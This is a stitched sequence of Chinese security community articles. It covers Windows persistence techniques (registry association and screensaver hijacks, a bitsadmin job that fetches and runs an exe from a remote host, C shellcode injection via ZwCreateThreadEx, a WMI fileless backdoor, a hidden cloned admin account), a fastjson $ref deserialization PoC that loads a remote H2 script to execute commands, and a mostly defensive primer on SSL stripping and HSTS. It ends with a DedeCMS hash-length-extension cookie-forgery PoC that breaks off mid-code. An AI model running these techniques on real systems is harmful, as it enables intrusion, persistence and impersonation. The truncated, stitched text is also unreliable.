我们可以用assoc命令显示或修改文件扩展名关联，我们可以看一下.txt文件的关联。
用ftype命令显示或修改用在文件扩展名关联中的文件类型。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序
修改注册表（管理员权限）：
reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f
再打开txt文件打开的是cmd
## 0x09 Bitsadmin
Windows操作系统包含各种实用程序，系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务（BITS），它可以促进文件到Web服务器（HTTP）和共享文件夹（SMB）的传输能力。Microsoft提供了一个名为“
bitsadmin ” 的二进制文件和PowerShell cmdlet，用于创建和管理文件传输。
window7以上自带
.\bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:\1.exe
将文件放入磁盘后，可以通过从“ bitsadmin ”实用程序执行以下命令来实现持久性。
1. 在创建参数需要作业的名称
2. 该addfile需要文件的远程位置和本地路径
3. 该SetNotifyCmdLine将执行的命令
4. 所述SetMinRetryDelay定义时间回调（秒）
5. 该简历参数将运行位工作。
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE" "C:\1.exe"
bitsadmin /SetNotifyCmdLine backdoorC:\1.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
这里只是随便找了个exe测试,如果是c2的马的化可以直接上线
## 0x10 进程注入
之所以把注入也放到权限维持来说,因为注入更加隐蔽,尤其是拿到高权限后,难以被发现
如果是user权限可以考虑注入exploer.exe 如果是system权限则可以注入winlogon或者lassa
记一次实战中的注入,这里是我自己写的小工具
关于dll注入网上已经有很多教程,包括突破session 0,使用ZwCreateThreadEx创建一个线程
同样还有shellcode注入
一个demo
DWORD CeatRemoThread(DWORD pid)
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
int shellcode_size = sizeof(buf);
//混淆
char* newBuf;
decrypt(buf, shellcode_size, (LPVOID*)&newBuf);
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hHandle == NULL)
{
printf("openprocessError");
free(newBuf);
return FALSE;
}
LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T dwSize = 0;
WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
//Sleep(3000);
VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
if (hNtdll == NULL)
{
printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Load ntdll.dll Successfully!\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL)
{
printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
}
HANDLE hRemoteThread = NULL;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
getchar();
VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
CloseHandle(hHandle);
FreeLibrary(hNtdll);
return FALSE;
}
WaitForSingleObject(hRemoteThread, INFINITE);
return TRUE;
}
## 0x11 屏幕保护程序
利用前提:对方开启了屏幕保护
屏幕保护程序，当初的设计是为了防止长期屏幕的显示，预防老化与缩短屏幕显示器老化的一种保护程序。
在对方开启屏幕保护的情况下，我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的，攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持。
注册表位置:
HKEY_CURRENT_USER\Control Panel\Desktop
命令行修改:
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d C:\Windows\System32\cmd.exe
这里可以改成我们的马,达到维持权限的效果,具体时间为注册表的ScreenSaverTimeout值有关
## 0x12 WMI构造无文件后门
WMI是一项Windows管理技术，其全称是Windows Management
Instrumentation，即Windows管理规范。大多数基于Windows的软件依赖于此服务。
无文件无进程使得他非常隐蔽成为后门，但由于他的隐蔽性现在被大多数杀软所查杀。
通过与Powershell命令配合使用可以实现无文件，具有良好的隐蔽性也是目前较为常用的持久化手段。
如果展开讲会讲很久，这里推荐一篇比较详细的文章:<https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html>
$filterName = 'SD'
$consumerName = 'SDD'
$exePath = 'C:\Windows\System32\cmd.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
可以使用Autoruns进行查看
## 0x13 影子用户
影子用户即创建的隐藏用户，它无法通过普通命令进行查询，比较隐蔽。
这里以win10作为演示
们先利用命令创建一个隐藏用户,并将其加入本地管理员组。
net user test$ 123456 /add
net localgroup administrators test$ /add
net user无法查看
但是可以在计算机管理和登陆页面中看到
### 解决办法
打开注册表:
HKEY_LOCAL_MACHINE\SAM\SAM
修改权限:
修改完权限之后，我们重新启动注册表即可继续查看内容。
### 查看F值
导出这三个值
test$导出为1.reg
000003EC包含test$用户的F值，导出另存为2.reg
000003E9包含WIN10用户的F值，导出另存为3.reg
将2.reg中的F值替换为3.reg中的F值，即将test$用户的F值替换为WIN10用户的F值
删除test$
net user test$ /del
注册表就已经无法打开了
导入注册表
regedit /s 1.reg
regedit /s 2.reg
查看效果
但登录界面已经没有账户
3389直接登录,以test$账号登录
但是登陆之后的身份却是原来WIN10用户，桌面也是原用户的，达到克隆效果。
## 0x14 总结
一边复现一边写,发现很多都需要权限，或者说如果有更高的权限能做的事更加的多,包括很多操作现在已经被各种终端设备监控,所以维权实际上是建立在免杀和提权之后的。我总结的可能不太全面,欢迎补充。
## 0x15 参考
<https://hackergu.com/power-shadowuser/>
<https://www.freebuf.com/articles/system/229209.html>
<https://www.freebuf.com/column/165235.html>
<https://zhuanlan.zhihu.com/p/102081047> | 社区文章 |
**作者：lxraa**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
# 1、解决什么问题
反序列化的过程是把字符串映射成java类的过程，过程为①调用无参构造方法new一个java类；②通过反射的方式调用类的set方法设置字段。因此比较好用的poc一般是利用非纯set方法里的危险操作触发，例如JdbcRowSetImpl
poc：
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}"
JSON.parse(poc);
利用了com.sun.rowset.JdbcRowSetImpl的非纯set方法setAutoCommit：
...
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
...
而利用getXXX方法的poc一般利用难度较大，需要先将输入反序列化，再序列化才能触发，如网上流传较广的jackson
ch.qos.logback.core.db.DriverManagerConnectionSource poc：
String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(payload, Object.class);//反序列化
String s = mapper.writeValueAsString(o);//序列化
因此比较难找到实际使用场景 以下讨论一种利用fastjson的特性，构造poc，从而利用非纯get函数构造可用性较高的poc的方法
# 2、前序知识
## 什么是$ref
ref，value为 **JSONPath** 语法的方式引用之前出现的对象，例如：
//类的定义：
public class Test {
private Integer id;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
}
//反序列化代码：
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0]\"}]"; //数组的第二个元素引用数组的第一个元素
Object o = JSON.parse(s);
...
序列化后的类如图所示：
## 什么是JSONPath语法
<https://goessner.net/articles/JsonPath/>
JSONPath是为了在json中定位子元素的一种语言，具体语法规则网上较多，不做赘述。fastjson支持JSONPath
## 利用$ref触发get方法的例子
public class Test {
private Integer id;
public Integer getId() {
//此处下断点
System.out.println("getid");
return id;
}
public void setId(Integer id) {
this.id = id;
}
}
//反序列化代码：
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]"; //引用数组第一个对象的id属性，会触发getId方法
Object o = JSON.parse(s);
...
这就是poc的构造原理
# 3、poc及代码分析
## poc
java poc：
// 该poc < fastjson 1.2.59 可用
// 参考 https://github.com/LeadroyaL/fastjson-blacklist/blob/766f7c546d2698ab37cd304644d113e186143da2/readme.md
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String refPayload = "[{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"},{$ref:\"$[0].connection\"}]";
Object o = JSON.parse(refPayload);
server（nodejs）：
const express = require("express")
const fs = require("fs")
const app = express()
app.get("/test.sql",function(req,res){
res.send(`
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc.exe')
`)
})
app.listen(3000,function(){
console.log("listening 3000...")
})
## 源代码分析
该poc利用了h2库支持远程加载脚本的特性，触发点在org.h2.engine.FunctionAlias.getValue，poc本身的调用链不在本文讨论的范围内，以下讨论fastjson环境下该poc是如何生效的
断点下载com.alibaba.fastjson.JSON : line 165（fastjson版本1.2.58）
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse(); //反序列化关键逻辑类解析，set方法在这里调用
parser.handleResovleTask(value);//处理$ref
parser.close();
跟进handleResovleTask：
if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
refValue = JSONPath.eval(value, ref); //解析$ref
} catch (JSONPathException ex) {
// skip
}
}
}
第二个断点下在com.alibaba.fastjson.JSONPath : line 1634 explain函数
这个函数的作用是把$ref的value解析成segment，Segment是定义在JSONPath类的一个interface，实现类有：
explain()会把一个完整的JSONPath拆分成小的处理逻辑，Segment接口即处理单元
public Segment[] explain() {
if (path == null || path.length() == 0) {
throw new IllegalArgumentException();
}
Segment[] segments = new Segment[8];
for (;;) {
Segment segment = readSegement();
if (segment == null) {
break;
}
if (segment instanceof PropertySegment) {
PropertySegment propertySegment = (PropertySegment) segment;
if ((!propertySegment.deep) && propertySegment.propertyName.equals("*")) {
continue;
}
}
if (level == segments.length) {
Segment[] t = new Segment[level * 3 / 2];
System.arraycopy(segments, 0, t, 0, level);
segments = t;
}
segments[level++] = segment;
}
if (level == segments.length) {
return segments;
}
Segment[] result = new Segment[level];
System.arraycopy(segments, 0, result, 0, level);
//返回一个Segment的Array，后面顺序执行每个Segment
return result;
}
第三个断点下在com.alibaba.fastjson.JSONPath : line 74
eval函数，这里顺序执行前面explain生成的segment array
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segment segment = segments[i];
// rootObject:json字符串经parseObject解析后的对象
currentObject = segment.eval(this, rootObject, currentObject);
}
return currentObject;
}
第四个断点下在com.alibaba.fastjson.util.FieldInfo: line 491 get函数
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
// 通过method.invoke触发get方法
? method.invoke(javaObject)
: field.get(javaObject);
}
触发效果：
* * * | 社区文章 |
# 【技术分享】SSL Stripping攻防之道
|
##### 译文声明
本文是翻译文章，文章来源：cloudflare.com
原文地址：<https://blog.cloudflare.com/performing-preventing-ssl-stripping-a-plain-english-primer/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
几天前，安全研究人员又发现了一种新型的无线网络攻击方法——KRACK攻击，并且这种攻击对当前所有Wi-Fi网络安全加密协议而言，都构成了严重的威胁。通过KRACK攻击，攻击者可以拦截利用WPA2协议提供安全保护的无线网络流量。虽然可以通过安装相应的安全补丁来缓解该漏洞造成的影响，但是我们都知道，要想普遍安装安全更新的话，也不太现实。
在发现该漏洞之前，人们根本就没想到无线网络竟然存在这种窃听方面的漏洞。当前，有一些无线网络还在继续使用过时的安全协议（称为WEP），尽管该协议显然“根本就不安全”；同时，另外一些无线网络（例如咖啡店和机场的无线网络）仍然是完全开放的，它们根本就不对用户进行身份验证。一旦攻击者获得对网络的访问权限，他们就可以作为中间人来窃听网络上的连接（使用称为ARP缓存中毒和DNS劫持的策略）。是的，这些窃听手段可以轻松地部署到有线网络，如果他们可以访问以太网端口的话。
毫无疑问，盲目信任将用户连接到互联网的媒介是很危险的。因此，人们利用HTTPS来对HTTP流量进行加密传输，但是KRACK攻击的作者提供了一个视频演示，演示了如何在流行的交友网站上彻底剥离加密处理（尽管该网站支持HTTPS）。在本文中，我们将详细介绍如何
**剥离HTTPS的加密保护** ，以及针对这种攻击的防御机制。
**HTTP over TLS**
我们知道，互联网是建立在一系列网络标准的基础之上的，其中某些组件在经过重构和重建之后，会继续出现在新颁布的网络标准当中。当发现一个标准存在缺陷时，人们会对其进行修补，或者用新的标准替换它。随着标准的不断修正或被更好的标准所替代，互联网作为一个整体会变得越来越好。
HTTP协议最初用于以明文形式在互联网上传输数据。在官方引入HTTP 1.0之前，HTTP协议第一个有文档记载的版本被称为HTTP
V0.9，并于1991年颁布。Netscape是第一个意识到需要为在互联网上传输的信息提供更高级别的安全保障的公司，并于1994年中期，为Netscape浏览器提供了HTTPS。为了实现更高的安全级别，人们后来又创建了一种称为SSL（安全套接字层）的技术。
由于存在一些安全问题和缺点，导致SSL 1.0如昙花一现（甚至没有来得及正式标准化）。该协议随着SSL 2.0和SSL
3.0的到来而逐步更新；之后，它被TLS（传输层安全）标准所逐步替代。
当然，对于这些协议来说，每个版本都有不同的安全局限性，并且不同的浏览器会支持不同的版本。另外，这些协议所使用的加密算法，与上层协议相对独立。因此，确保任何支持HTTPS的Web服务器都设置为使用在浏览器支持与安全性进行权衡后的最优配置是至关重要的。这方面的详细内容，本文不做介绍，如果读者有兴趣的话，可以阅读SSL实验室文档中关于SSL和TLS部署方面的最佳做法的相关说明。
在使用HTTP over
TLS后，就不再通过http://与网站建立连接，而是使用加密形式的https://建立连接。这样一来，就可以在保密性和完整性方面提供合理的保护；换句话说，我们不仅会加密发送的消息，同时还能确保收到的消息没有被篡改。当建立安全连接时，Web浏览器栏会变为绿色，以此来提示用户当前使用的是加密传输。
由于SSL证书本身是由证书颁发机构签署的，因此能够进行一定程度的“域验证”——证书颁发机构保证只让有权对网站进行更改的人拥有的证书通过认证。这样就能够在一定程度上确保证书不会被发送给窃听网络流量的攻击者了。如果证书认证失败，则可以使用证书吊销列表来撤回证书。然后，这些列表将被现代操作系统自动下载，以确保当提供的证书无效时，在浏览器中将其标记为不安全的网站。由于许多（>
100个）证书颁发机构都有权颁发SSL证书，因此可以通过配置CAA DNS记录构建一个whitelist，指出哪些证书颁发机构可以为哪些给定的域颁发证书。
现在，SSL配置过程已经非常简单了，例如：当您的流量通过Cloudflare网络进行代理时，我们将动态管理您的证书更新和签名（同时使用Cloudflare的Origin
CA生成证书，对返回原始Web服务器的流量进行加密）。类似地，EFF提供了一个名为CertBot的工具，不仅让安装更简便，并且还能够从命令行生成加密证书。
使用HTTPS时，它的优点是会利用HTTPS来加载网站的所有内容，而不仅仅是登录页面。在此之前，网站通常做法是刚开始通过安全加密连接提供登录页面，当用户登录时，它们会将连接退化为HTTP。登录网站后，会话cookie被存储在本地浏览器中，网站借此确保用户处于登录状态。
2010年，埃里克·巴特勒（Eric
Butler）通过拦截工具FireSheep展示了这种处理方式存在的安全缺陷。通过窃听无线连接，FireSheep能够捕获常见网站的登录会话。虽然攻击者不一定能够捕获网站的密码，但是他们不仅能够捕获登录会话，并且还能如同已经完成登陆那样在网站上执行某些操作。此外，他们还可以在用户登录时拦截流量。
当使用SSL连接到网站时，第一个请求通常将用户重定向到网站的安全版本。例如：当您第一次访问http://www.cloudflare.com/时，HTTP
301重定向用于将您发送到该站点的HTTPS版本，即https://www.cloudflare.com/。
这就带来了一个严重的问题。如果有人能够拦截对该站点的HTTP版本的未加密请求，那么他们是否可以剥离加密，并让该站点以不加密的形式为用户提供服务？这正是Moxie
Marlinspike所研究的问题，后来导致了HSTS的诞生。
**
**
**HTTP Strict Transport Security (HSTS)**
在2009年的Blackhat DC大会上，Moxie
Marlinspike展示了一种称为SSLStrip的工具。该工具能够拦截HTTP流量，并且每当发现用户被重定向到站点或使用HTTPS连接到站点时，它能够透明地将其剥离。
这种情况下，受害者并没有直接连接到网站；相反，受害者将被连接到攻击者那里，然后，攻击者会与该网站建立连接。这种攻击手法就是所谓的中间人攻击。
SSLStrip的神奇之处在于，只要在未加密的HTTP连接上发现一个HTTPS网页的链接，它就会使用HTTP替代HTTPS，并坐在中间拦截连接。拦截器会通过HTTPS与Web服务器建立加密连接，并将流量以未加密的形式传输给站点访问者（在此过程中，它会记录所有感兴趣的密码或信用卡信息）。
为了应对这种攻击，人们在2012年创建了一个称为HTTP Strict Transport Security（HSTS）的协议，并在RFC
6797中对该协议做了详细的规定。该协议的工作原理是，让服务器使用一个名为Strict-Transport-Security的特殊头部进行应答，其中包含一个响应消息，告诉客户每当重新连接站点时，必须使用HTTPS。该响应中包含一个“max-age”字段，存放的是一个以秒为单位的数值，它代表着HSTS Header的过期时间。
虽然这样做有助于防止拦截攻击，但并不完美，还是存在一些缺点。
**
**
**HSTS Preloading**
HSTS的一个缺点是，它需要通过先前的连接才能知道可以安全地连接到特定的站点。当访问者初次连接到网站时，他们不会收到要求始终使用HTTPS的HSTS规则。只有在后续的连接中，访问者的浏览器才会收到要求他们通过HTTPS进行连接的HSTS规则。
除此之外，HSTS还面临着其他类型的攻击，例如通过劫持用于同步计算机时间的协议，可以将计算机的日期和时间设置为将来的时间。当HSTS规则已过期后，可以将日期和时间设置为任意值，从而绕过HSTS。
HSTS Preload
Lists是一种解决这些问题的潜在方案，其工作原理是把只能使用HTTPS连接的网站硬编码到一个列表中。启用HSTS的网站可以提交到hstspreload.org的Chrome
HSTS Preload Lists中；它可以作为其他浏览器中采用的预加载列表的基础。
在Google
Chrome的源代码中，有一个文件中保存了相关的硬编码文件，其中列出了“预加载列表”中所有域的HSTS属性。每个条目都使用JSON进行了格式化，例如：
即使采用了预载技术，事情还不完美。假设有人正在阅读介绍各种图书的博客，那么在该博客上通常会有一个可以从在线零售商那里购买图书的链接。尽管在线零售商通过HSTS强制使用HTTPS，但是仍可能遭受中间人攻击，致使该博客实际上并没有通过HTTPS与在线零售商建立连接。
**
**
**故事还在继续**
后来，Leonardo
Nve又开发了一款名为SSLStrip+的软件，它实际上是SSLStrip更新版，SSLStrip+具有绕过HSTS的能力。当站点通过未加密的HTTP进行连接时，SSLStrip+就会查找相关的HTTPS连接。当发现网站的HTTPS连接时，会将其重写为HTTP，并将该域重写为HSTS
Preload列表之外的、与原来比较相似的域。
例如，假设一个网站包含一个指向https://example.com/的链接，HSTS可以通过将URL重写为http://example.org/来完成加密的剥离；攻击者位于两者中间，从http://example.org/接收流量，并将其代理到https://example.com/。
这种攻击也可以针对重定向：假设http://example.net/通过HTTP进行加载，然后重定向到通过HTTPS加载的https://example.com/。通过重定向，可以将受HSTS保护的合法站点重定向到一个手机域，供攻击者通过它以HTTP提供流量，然后加以拦截。
随着越来越多的互联网开始启用HTTPS，这种攻击的用武之地将会越来越小，因为可拦截的未加密HTTP数据流量也越来越少了。
在最新发布的Google Chrome版本（version
62）中，利用不安全连接提供输入表单（如信用卡表单和密码字段）的网站会向用户显示未“不安全”的站点。在隐身模式（隐身浏览）模式下，Chrome会将所有未使用HTTPS得网站都显示为不安全的站点。
这种警告能够帮助用户弄清楚登录时HTTPS是否已从网页上剥离。此外，这样做的另一个目的，是希望更多的网站能够采用HTTPS，从而提高整个互联网的安全性。
**
**
**小结**
在这篇文章中，我们讨论了从网站上剥离HTTPS的相关机制，特别是HSTS在这方面的影响。值得注意的是，对于各种HTTPS规范和某些加密算法来说，还存在其他潜在的攻击向量，但是本文没有对其进行介绍。
尽管HTTPS提供了一种加密网络流量的机制，但为了确保该机制的实施，需要落实诸如HTTP Strict Transport
Security等技术，这是非常重要的，同时，最好将您的站点提交到HSTS预加载列表中。随着越来越多的网站实现了上面的这些措施，互联网整体的安全性也将得到更大的提高。
要想深入理解现实中HTTPS和HSTS的实现方式，我强烈推荐阅读Troy Hunt的文章：The 6-Step "Happy Path" to
HTTPS。他在该文章中介绍了如何在实践中启用强大的HTTPS，另外还介绍了一种本文没提及的、称为CSP（内容安全策略）的技术。
CSP允许人们通过HTTPS加载页面时进行自动升级或阻止HTTP请求，因为这会引发另一个攻击向量。 | 社区文章 |
# 记DedeCMS一处由哈希长度拓展攻击引起的越权漏洞
##### 译文声明
本文是翻译文章
原文地址：<https://mp.weixin.qq.com/s/Ssyu7caIvzEb28aS38271Q>
译文仅供参考，具体内容表达以及含义原文为准。
本文来自 ChaMd5安全团队审计组 呆哥，文章内容以思路为主。
> 如需转载，请先联系ChaMd5安全团队授权。
>
> 未经授权请勿转载。
漏洞影响：Dedecms(织梦CMS) V5.7.72 正式版20180109 (最新版)
## 漏洞原理
DedeCMS用户认证是通过验证Cookie中的 DedeUserID和DedeUserID__ckMd5进行的，具体如下：
其中$cfg_cookie_encode是安装时生成的不可预测字符串。
其中md5($cfg_cookie_encode.$_COOKIE[$key])符合md5(salt + padding +
data)的格式，易受哈希长度拓展攻击，只要我们知道了md5($cfg_cookie_encode)和$cfg_cookie_encode的长度即可伪造cookie。
从安装时的逻辑中我们可以知道$cfg_cookie_encode的长度为28~32
找到memberarticle_add.php
25行检测dopost是否为空，46行导入模板文件
找到membertempletsarticle_add.htm
74行调用PrintAutoFieldsAdd()，跟进去
238行输出$dede_addonfields
239行输出md5($dede_addonfields.$cfg_cookie_encode)
浏览器中直接访问，可知在默认情况下$dede_addonfields为空值
因此表单dede_fieldshash的值就是md5($cfg_cookie_encode)
找到MemberLogin类，M_ID 在从cookie中获取时会调用GetNum()进行处理
跟进去
这样处理一下就会消除哈希长度扩展攻击引入的空字符等特殊字符的影响
但是在全局文件config.php中会对输入调用XSSClean()对$_COOKIE进行过滤
从24行可知，空字符会被替换为空导致漏洞不能利用。
又研究了一下发现plus下的文件都是直接包含common.inc.php而不是config.php
因此可以利用此目录下的文件进行哈希长度拓展攻击！
例如，plusfeedback_ajax.php 用于文章评论，因此这里可以利用哈希长度拓展攻击伪造任意用户身份实现越权评论文章！
参考链接：<https://blog.csdn.net/qq_35078631/article/details/70941204>
## POC
import sys
import hashlib
import urllib
#此POC只需修改以下两个参数
userid = '1' #此变量就是要伪造的用户id
dede_fieldshash = '8b5d1a6dd0899aff8658b667a0923765' #该值从article_add.php的源码中获取
def genMsgLengthDescriptor(msg_bitsLenth):
return __import__("struct").pack(">Q",msg_bitsLenth).encode("hex")
def reverse_hex_8bytes(hex_str):
hex_str = "%016x"%int(hex_str,16)
assert len(hex_str)==16
return __import__("struct").pack("<Q",int(hex_str,16)).encode("hex")
def reverse_hex_4bytes(hex_str):
hex_str = "%08x"%int(hex_str,16)
assert len(hex_str)==8
return __import__("struct").pack("<L",int(hex_str,16)).encode("hex")
def deal_rawInputMsg(input_msg):
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list)*8
ascii_list.append('80')
while (len(ascii_list)*8+64)%512 != 0:
ascii_list.append('00')
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)
def getM16(hex_str,operatingBlockNum):
M = [int(reverse_hex_4bytes(hex_str[i:(i+8)]),16) for i in xrange(128*(operatingBlockNum-1),128*operatingBlockNum,8)]
return M
def T(i):
result = (int(4294967296*abs(__import__("math").sin(i))))&0xffffffff
return result
F = lambda x,y,z:((x&y)|((~x)&z))
G = lambda x,y,z:((x&z)|(y&(~z)))
H = lambda x,y,z:(x^y^z)
I = lambda x,y,z:(y^(x|(~z)))
RL = L = lambda x,n:(((x<<n)|(x>>(32-n)))&(0xffffffff))
def FF(a, b, c, d, x, s, ac):
a = (a+F ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def GG(a, b, c, d, x, s, ac):
a = (a+G ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def HH(a, b, c, d, x, s, ac):
a = (a+H ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def II(a, b, c, d, x, s, ac):
a = (a+I ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def show_md5(A,B,C,D):
return "".join( [ "".join(__import__("re").findall(r"..","%08x"%i)[::-1]) for i in (A,B,C,D) ] )
def run_md5(A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476,readyMsg=""):
a = A
b = B
c = C
d = D
for i in xrange(0,len(readyMsg)/128):
M = getM16(readyMsg,i+1)
for i in xrange(16):
exec "M"+str(i)+"=M["+str(i)+"]"
#First round
a=FF(a,b,c,d,M0,7,0xd76aa478L)
d=FF(d,a,b,c,M1,12,0xe8c7b756L)
c=FF(c,d,a,b,M2,17,0x242070dbL)
b=FF(b,c,d,a,M3,22,0xc1bdceeeL)
a=FF(a,b,c,d,M4,7,0xf57c0fafL)
d=FF(d,a,b,c,M5,12,0x4787c62aL)
c=FF(c,d,a,b,M6,17,0xa8304613L)
b=FF(b,c,d,a,M7,22,0xfd469501L)
a=FF(a,b,c,d,M8,7,0x698098d8L)
d=FF(d,a,b,c,M9,12,0x8b44f7afL)
c=FF(c,d,a,b,M10,17,0xffff5bb1L)
b=FF(b,c,d,a,M11,22,0x895cd7beL)
a=FF(a,b,c,d,M12,7,0x6b901122L)
d=FF(d,a,b,c,M13,12,0xfd987193L)
c=FF(c,d,a,b,M14,17,0xa679438eL)
b=FF(b,c,d,a,M15,22,0x49b40821L)
#Second round
a=GG(a,b,c,d,M1,5,0xf61e2562L)
d=GG(d,a,b,c,M6,9,0xc040b340L)
c=GG(c,d,a,b,M11,14,0x265e5a51L)
b=GG(b,c,d,a,M0,20,0xe9b6c7aaL)
a=GG(a,b,c,d,M5,5,0xd62f105dL)
d=GG(d,a,b,c,M10,9,0x02441453L)
c=GG(c,d,a,b,M15,14,0xd8a1e681L)
b=GG(b,c,d,a,M4,20,0xe7d3fbc8L)
a=GG(a,b,c,d,M9,5,0x21e1cde6L)
d=GG(d,a,b,c,M14,9,0xc33707d6L)
c=GG(c,d,a,b,M3,14,0xf4d50d87L)
b=GG(b,c,d,a,M8,20,0x455a14edL)
a=GG(a,b,c,d,M13,5,0xa9e3e905L)
d=GG(d,a,b,c,M2,9,0xfcefa3f8L)
